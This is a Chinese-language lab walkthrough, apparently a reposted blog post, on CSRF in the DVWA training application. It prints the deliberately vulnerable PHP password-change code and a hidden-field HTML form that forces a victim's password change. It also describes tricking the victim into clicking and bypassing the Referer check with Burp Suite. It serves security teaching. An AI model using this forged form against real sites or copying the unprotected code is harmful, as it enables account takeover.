2. DVWA亲测CSRF漏洞

 

DVWA登陆      用户名:admin   密码:password

Low级:

查看源代码:
<?php   
                   
    if (isset($_GET['Change'])) {   
       
        // Turn requests into variables   
        $pass_new = $_GET['password_new'];   
        $pass_conf = $_GET['password_conf'];   
  
  
        if (($pass_new == $pass_conf)){   
            $pass_new = mysql_real_escape_string($pass_new);   
            $pass_new = md5($pass_new);   
  
            $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";   
            $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );   
                           
            echo "<pre> Password Changed </pre>";           
            mysql_close();   
        }   
       
        else{           
            echo "<pre> Passwords did not match. </pre>";               
        }   
  
    }   
?>
  首先获取输入的两个密码然后判断两个值是否相等,若相等则接着对pass_new变量进行调用mysql_real_escape_string()函数来进行字符串的过滤、再调用md5()函数对输入的密码进行MD5加密,最后再将新密码更新到数据库中。整段代码因为调用了mysql_real_escape_string()函数从而有效地过滤了SQL注入,但是对CSRF没有任何的防御机制。
  进入相应的页面可以看到提示直接输入新密码以及确认新密码的两项输入进行更改密码的操作而不需要重新确认一遍当前的密码: 
这时我们先尝试输入  test   test  ,来看一下页面效果:

发现密码修改成功,我们来分析一下过程:
 
我们用burpsuite来抓包查看:
 
 
 
我们伪造一个网址发给受害者,如果受害者在访问DVWA,只要受害者点击网址,密码就会发生改变
但是这样的网址太显眼,我们需要进一步的装饰伪造
 
<!DOCTYPE html>
<html>
<body>
    <form action="http://127.0.0.1/DVWA/vulnerabilities/csrf/">
        <input type="hidden" name="password_new" value="hacker">
        <input type="hidden" name="password_conf" value="hacker">
        <input type="hidden" name="Change" value="Change">
        <input type="submit" value="Click Me">
    </form>
</body>
</html>

把 这个html  文件发给受害者,诱骗受害者点击 
 
点击后直接出现:

 

密码修改成功

Medium级:

Medium级的修改密码的界面还是和Low级的一样,不需要进行身份认证即输入当前的密码

<?php   
               
    if (isset($_GET['Change'])) {   
       
        // Checks the http referer header   
        if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){   
       
            // Turn requests into variables   
            $pass_new = $_GET['password_new'];   
            $pass_conf = $_GET['password_conf'];   
  
            if ($pass_new == $pass_conf){   
                $pass_new = mysql_real_escape_string($pass_new);   
                $pass_new = md5($pass_new);   
  
                $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";  
                $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );   
                           
                echo "<pre> Password Changed </pre>";           
                mysql_close();   
            }   
       
            else{           
                echo "<pre> Passwords did not match. </pre>";               
            }       
  
        }   
           
    }   
?> 
一开始就调用eregi()函数来判断HTTP头的referer字段里是不是包含“127.0.0.1”字符串,即发送请求的是不是本机,如果是则继续后面代码的执行。后面的代码和low级的一样就没啥说的了。
此时我们的LOW等级方法已经失效,我们再用burpsuite抓包对比看一下:
 
接下来我们进行抓包改包
 
 

 
修改成功

High级:

和前面两个等级不同,high等级有了用户token,而且每次修改密码,token都是变化的
 
 

Impossible级:

和前面两个等级不同,impossible级修改密码的界面是需要通过三次输入,即增加了输入当前密码的项,从而能够进行相应的身份认证:
 
原文地址:https://www.cnblogs.com/bmjoker/p/9084451.html